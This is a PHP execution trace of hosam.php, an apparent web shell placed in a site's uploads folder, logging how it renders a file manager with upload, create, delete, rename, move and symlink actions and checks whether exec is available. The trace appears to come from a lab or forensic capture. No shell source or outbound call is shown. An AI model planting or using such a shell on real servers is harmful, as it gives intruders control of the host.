'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 3 4 'filename'
7 170 0 0.009401 786128 floor 0 /var/www/html/uploads/hosam.php 836 1 3.5
7 170 1 0.009414 786160
7 170 R 3
6 A /var/www/html/uploads/hosam.php 836 $cmp = 'hosam.php'
6 A /var/www/html/uploads/hosam.php 838 $l = 3
6 A /var/www/html/uploads/hosam.php 839 $r = 4
6 A /var/www/html/uploads/hosam.php 848 $tmp = ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
6 A /var/www/html/uploads/hosam.php 849 $array[3] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
6 A /var/www/html/uploads/hosam.php 850 $array[4] = ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
6 A /var/www/html/uploads/hosam.php 852 $l++
6 A /var/www/html/uploads/hosam.php 853 $r--
7 171 0 0.009553 786128 quicksort 1 /var/www/html/uploads/hosam.php 859 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 3 3 'filename'
7 171 1 0.009622 786128
7 172 0 0.009629 786128 quicksort 1 /var/www/html/uploads/hosam.php 860 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 4 4 'filename'
7 172 1 0.009696 786128
6 169 1 0.009704 786128
5 163 1 0.009710 786128
5 173 0 0.009717 786128 quicksort 1 /var/www/html/uploads/hosam.php 860 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 5 5 'filename'
5 173 1 0.009783 786128
4 161 1 0.009790 786128
3 159 1 0.009797 786128
3 174 0 0.009805 786128 directory_choice 1 /var/www/html/uploads/hosam.php 1103 0
4 175 0 0.009820 786272 urlencode 0 /var/www/html/uploads/hosam.php 1332 1 '/var/www/html/uploads/'
4 175 1 0.009835 786368
4 175 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 176 0 0.009851 786304 word 1 /var/www/html/uploads/hosam.php 1332 1 'directory'
5 177 0 0.009865 786328 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'Directory' 2 'ISO-8859-1'
5 177 1 0.009881 786600
5 177 R 'Directory'
4 176 1 0.009896 786488
4 176 R 'Directory'
4 178 0 0.009910 786392 textfieldsize 1 /var/www/html/uploads/hosam.php 1333 1 '/var/www/html/uploads/'
4 A /var/www/html/uploads/hosam.php 1469 $size = 27
4 A /var/www/html/uploads/hosam.php 1470 $size = 30
4 178 1 0.009944 786392
4 178 R 30
4 179 0 0.009958 786392 html 1 /var/www/html/uploads/hosam.php 1333 1 '/var/www/html/uploads/'
5 180 0 0.009971 786392 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '/var/www/html/uploads/' 2 'ISO-8859-1'
5 180 1 0.009986 786664
5 180 R '/var/www/html/uploads/'
4 179 1 0.010001 786552
4 179 R '/var/www/html/uploads/'
4 181 0 0.010016 786520 word 1 /var/www/html/uploads/hosam.php 1334 1 'change'
5 182 0 0.010029 786520 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'change' 2 'ISO-8859-1'
5 182 1 0.010046 786792
5 182 R 'change'
4 181 1 0.010060 786680
4 181 R 'change'
3 174 1 0.010075 786200
3 183 0 0.010083 786200 is_writable 0 /var/www/html/uploads/hosam.php 1110 1 '/var/www/html/uploads/'
3 183 1 0.010100 786240
3 183 R TRUE
3 184 0 0.010113 786200 upload_box 1 /var/www/html/uploads/hosam.php 1111 0
4 185 0 0.010126 786264 word 1 /var/www/html/uploads/hosam.php 1346 1 'file'
5 186 0 0.010139 786264 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'File' 2 'ISO-8859-1'
5 186 1 0.010153 786536
5 186 R 'File'
4 185 1 0.010166 786424
4 185 R 'File'
4 187 0 0.010179 786392 word 1 /var/www/html/uploads/hosam.php 1348 1 'upload'
5 188 0 0.010192 786392 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'upload' 2 'ISO-8859-1'
5 188 1 0.010206 786664
5 188 R 'upload'
4 187 1 0.010220 786552
4 187 R 'upload'
3 184 1 0.010234 786200
3 189 0 0.010241 786200 create_box 1 /var/www/html/uploads/hosam.php 1112 0
4 190 0 0.010253 786360 word 1 /var/www/html/uploads/hosam.php 1361 1 'file'
5 191 0 0.010265 786360 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'File' 2 'ISO-8859-1'
5 191 1 0.010280 786632
5 191 R 'File'
4 190 1 0.010293 786520
4 190 R 'File'
4 192 0 0.010306 786424 word 1 /var/www/html/uploads/hosam.php 1362 1 'directory'
5 193 0 0.010319 786424 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'Directory' 2 'ISO-8859-1'
5 193 1 0.010339 786696
5 193 R 'Directory'
4 192 1 0.010357 786584
4 192 R 'Directory'
4 194 0 0.010371 786584 word 1 /var/www/html/uploads/hosam.php 1365 1 'create'
5 195 0 0.010384 786584 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'create' 2 'ISO-8859-1'
5 195 1 0.010398 786856
5 195 R 'create'
4 194 1 0.010412 786744
4 194 R 'create'
3 189 1 0.010425 786200
3 196 0 0.010432 786200 listing 1 /var/www/html/uploads/hosam.php 1118 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 197 0 0.010504 786200 urlencode 0 /var/www/html/uploads/hosam.php 1140 1 '/var/www/html/uploads/'
4 197 1 0.010518 786296
4 197 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
3 A /var/www/html/uploads/hosam.php 1140 $d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&'
3 A /var/www/html/uploads/hosam.php 1142 $r = '&reverse=true'
4 198 0 0.010558 786440 word 1 /var/www/html/uploads/hosam.php 1143 1 'filename'
5 199 0 0.010571 786440 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'Filename' 2 'ISO-8859-1'
5 199 1 0.010585 786712
5 199 R 'Filename'
4 198 1 0.010599 786600
4 198 R 'Filename'
3 A /var/www/html/uploads/hosam.php 1145 $r = ''
4 200 0 0.010624 786408 word 1 /var/www/html/uploads/hosam.php 1146 1 'size'
5 201 0 0.010636 786408 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'Size' 2 'ISO-8859-1'
5 201 1 0.010651 786680
5 201 R 'Size'
4 200 1 0.010664 786568
4 200 R 'Size'
3 A /var/www/html/uploads/hosam.php 1150 $r = ''
4 202 0 0.010711 786552 word 1 /var/www/html/uploads/hosam.php 1151 1 'permission'
5 203 0 0.010724 786552 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'Permission' 2 'ISO-8859-1'
5 203 1 0.010738 786824
5 203 R 'Permission'
4 202 1 0.010752 786712
4 202 R 'Permission'
3 A /var/www/html/uploads/hosam.php 1153 $r = ''
4 204 0 0.010777 786520 word 1 /var/www/html/uploads/hosam.php 1154 1 'owner'
5 205 0 0.010789 786520 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'Owner' 2 'ISO-8859-1'
5 205 1 0.010803 786792
5 205 R 'Owner'
4 204 1 0.010816 786680
4 204 R 'Owner'
3 A /var/www/html/uploads/hosam.php 1156 $r = ''
4 206 0 0.010844 786520 word 1 /var/www/html/uploads/hosam.php 1157 1 'group'
5 207 0 0.010857 786520 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'Group' 2 'ISO-8859-1'
5 207 1 0.010871 786792
5 207 R 'Group'
4 206 1 0.010885 786680
4 206 R 'Group'
4 208 0 0.010898 786392 word 1 /var/www/html/uploads/hosam.php 1161 1 'functions'
5 209 0 0.010911 786392 htmlentities 0 /var/www/html/uploads/hosam.php 1493 3 'Functions' 2 'ISO-8859-1'
5 209 1 0.010925 786664
5 209 R 'Functions'
4 208 1 0.010939 786552
4 208 R 'Functions'
3 A /var/www/html/uploads/hosam.php 1165 $i = 0
4 210 0 0.010964 786392 sizeof 0 /var/www/html/uploads/hosam.php 1165 1 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4 210 1 0.011034 786424
4 210 R 6
3 A /var/www/html/uploads/hosam.php 1166 $file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 211 0 0.011074 786392 date 0 /var/www/html/uploads/hosam.php 1168 2 'n/j/y H:i:s' 1676254317
4 211 1 0.011142 788784
4 211 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1168 $timestamps = 'mtime: 2/12/23 21:11:57, '
4 212 0 0.011172 788512 date 0 /var/www/html/uploads/hosam.php 1169 2 'n/j/y H:i:s' 1676254317
4 212 1 0.011203 788840
4 212 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1169 $timestamps .= 'atime: 2/12/23 21:11:57, '
4 213 0 0.011230 788536 date 0 /var/www/html/uploads/hosam.php 1170 2 'n/j/y H:i:s' 1676254317
4 213 1 0.011260 788864
4 213 R '2/12/23 21:11:57'
3 A /var/www/html/uploads/hosam.php 1170 $timestamps .= 'ctime: 2/12/23 21:11:57'
4 214 0 0.011286 788760 html 1 /var/www/html/uploads/hosam.php 1174 1 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5 215 0 0.011300 788760 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57' 2 'ISO-8859-1'
5 215 1 0.011317 789064
5 215 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 214 1 0.011333 788952
4 214 R 'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4 216 0 0.011350 788616 urlencode 0 /var/www/html/uploads/hosam.php 1197 1 '/var/www/html/uploads/.'
4 216 1 0.011364 788712
4 216 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.'
4 217 0 0.011380 788664 html 1 /var/www/html/uploads/hosam.php 1197 1 '.'
5 218 0 0.011392 788664 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '.' 2 'ISO-8859-1'
5 218 1 0.011406 788936
5 218 R '.'
4 217 1 0.011420 788824
4 217 R '.'
4 219 0 0.011434 788568 human_filesize 1 /var/www/html/uploads/hosam.php 1220 1 4096
4 A /var/www/html/uploads/hosam.php 1056 $suffices = 'kMGTPE'
4 A /var/www/html/uploads/hosam.php 1058 $n = 0
4 A /var/www/html/uploads/hosam.php 1060 $filesize /= 1024
4 A /var/www/html/uploads/hosam.php 1061 $n++
5 220 0 0.011487 788568 strpos 0 /var/www/html/uploads/hosam.php 1064 2 4 '.'
5 220 1 0.011500 788640
5 220 R FALSE
5 221 0 0.011513 788568 round 0 /var/www/html/uploads/hosam.php 1064 2 4 3
5 221 1 0.011525 788640
5 221 R 4
4 A /var/www/html/uploads/hosam.php 1064 $filesize = 4
5 222 0 0.011549 788568 strpos 0 /var/www/html/uploads/hosam.php 1066 2 4 '.'
5 222 1 0.011562 788896
5 222 R FALSE
5 223 0 0.011575 788568 substr 0 /var/www/html/uploads/hosam.php 1072 3 'kMGTPE' 0 1
5 223 1 0.011588 788664
5 223 R 'k'
4 A /var/www/html/uploads/hosam.php 1072 $suffix = 'k'
4 219 1 0.011612 788600
4 219 R '4 kB'
3 A /var/www/html/uploads/hosam.php 1220 $human = ' title="4 kB"'
4 224 0 0.011638 788608 decoct 0 /var/www/html/uploads/hosam.php 1229 1 16895
4 224 1 0.011654 788680
4 224 R '40777'
4 225 0 0.011668 788608 function_exists 0 /var/www/html/uploads/hosam.php 1231 1 'posix_getuid'
4 225 1 0.011681 788648
4 225 R TRUE
4 226 0 0.011694 788608 posix_getuid 0 /var/www/html/uploads/hosam.php 1231 0
4 226 1 0.011706 788608
4 226 R 33
3 A /var/www/html/uploads/hosam.php 1231 $l = FALSE
4 227 0 0.011729 788608 permission_octal2string 1 /var/www/html/uploads/hosam.php 1233 1 16895
4 A /var/www/html/uploads/hosam.php 877 $type = 'd'
4 A /var/www/html/uploads/hosam.php 886 $owner = 'r'
4 A /var/www/html/uploads/hosam.php 887 $owner .= 'w'
4 A /var/www/html/uploads/hosam.php 891 $owner .= 'x'
4 A /var/www/html/uploads/hosam.php 894 $group = 'r'
4 A /var/www/html/uploads/hosam.php 895 $group .= 'w'
4 A /var/www/html/uploads/hosam.php 899 $group .= 'x'
4 A /var/www/html/uploads/hosam.php 902 $other = 'r'
4 A /var/www/html/uploads/hosam.php 903 $other .= 'w'
4 A /var/www/html/uploads/hosam.php 907 $other .= 'x'
4 227 1 0.011839 788648
4 227 R 'drwxrwxrwx'
4 228 0 0.011853 788648 html 1 /var/www/html/uploads/hosam.php 1233 1 'drwxrwxrwx'
5 229 0 0.011866 788648 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'drwxrwxrwx' 2 'ISO-8859-1'
5 229 1 0.011881 788920
5 229 R 'drwxrwxrwx'
4 228 1 0.011894 788808
4 228 R 'drwxrwxrwx'
4 230 0 0.011908 788608 array_key_exists 0 /var/www/html/uploads/hosam.php 1238 2 'owner_name' ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 230 1 0.011938 788672
4 230 R TRUE
4 231 0 0.011951 788608 array_key_exists 0 /var/www/html/uploads/hosam.php 1244 2 'group_name' ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 231 1 0.011979 788672
4 231 R TRUE
4 232 0 0.011993 788704 html 1 /var/www/html/uploads/hosam.php 1253 1 '/var/www/html/uploads/.'
5 233 0 0.012006 788704 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 '/var/www/html/uploads/.' 2 'ISO-8859-1'
5 233 1 0.012021 788976
5 233 R '/var/www/html/uploads/.'
4 232 1 0.012036 788864
4 232 R '/var/www/html/uploads/.'
3 A /var/www/html/uploads/hosam.php 1256 $actions = []
4 234 0 0.012061 788608 function_exists 0 /var/www/html/uploads/hosam.php 1257 1 'symlink'
4 234 1 0.012074 788648
4 234 R TRUE
3 A /var/www/html/uploads/hosam.php 1258 $actions[] = 'create_symlink'
4 235 0 0.012099 788984 dirname 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads/.'
4 235 1 0.012112 789064
4 235 R '/var/www/html/uploads'
4 236 0 0.012126 789032 is_writable 0 /var/www/html/uploads/hosam.php 1260 1 '/var/www/html/uploads'
4 236 1 0.012144 789072
4 236 R TRUE
3 A /var/www/html/uploads/hosam.php 1261 $actions[] = 'delete'
3 A /var/www/html/uploads/hosam.php 1262 $actions[] = 'rename'
3 A /var/www/html/uploads/hosam.php 1263 $actions[] = 'move'
4 237 0 0.012189 788984 function_exists 0 /var/www/html/uploads/hosam.php 1270 1 'exec'
4 237 1 0.012202 789024
4 237 R TRUE
4 238 0 0.012215 788984 sizeof 0 /var/www/html/uploads/hosam.php 1274 1 [0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move']
4 238 1 0.012232 789016
4 238 R 4
4 239 0 0.012244 789080 str_repeat 0 /var/www/html/uploads/hosam.php 1277 2 ' ' 30
4 239 1 0.012258 789368
4 239 R ' '
4 240 0 0.012274 789048 word 1 /var/www/html/uploads/hosam.php 1281 1 'create_symlink'
